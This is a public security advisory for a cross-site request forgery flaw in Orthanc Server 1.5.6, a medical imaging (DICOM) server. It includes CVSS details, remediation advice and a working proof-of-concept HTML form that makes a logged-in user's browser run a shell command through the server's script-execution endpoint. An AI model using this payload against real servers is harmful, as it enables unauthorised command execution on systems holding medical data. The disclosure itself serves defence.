ADVISORY ORTHANC-CSRF-1: ORTHANC SERVER IS VULNERABLE TO CSRF

Severity Rating: Medium

Confirmed Affected Versions:

Found on: 1.5.6

Vendor: ORTHANC

Vendor URL: https://www.orthanc-server.com

Credit: Denis Kolegov, Maria Nedyak

Status: Public

CVE: -

CWE: 352

CVSS Score: 7.6

CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

VULNERABILITY DESCRIPTION

A vulnerability to Cross-Site Request Forgery (CSRF) attack was found in the ORTHANC Server. It allows an attacker to force an authenticated user to execute the API endpoints within the web application. ORTHANC Server doesn't implement any CSRF attack prevention methods.

STEPS TO REPRODUCE

1. Log in to the web application using a web browser.
2. Create an html page containing the following code:

```
<html>
  <body>
    <form action="http://localhost:8042/tools/execute-script" method="POST"
enctype="text/plain">
```

```
      <input type="hidden" name="cmd" value="'mkdir
/tmp/testCSRF';os.execute(cmd)"/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

3. Open this html page in the web browser.
4. The action (`mkdir /tmp/testCSRF`) will be executed. You can verify that by checking the existence of `/tmp/testCSRF` directory on the server.

PRODUCT DESCRIPTION

A lightweight DICOM server for healthcare and medical research.

RECOMMENDATIONS

Follow recommendations from Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet[1]

[1] Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html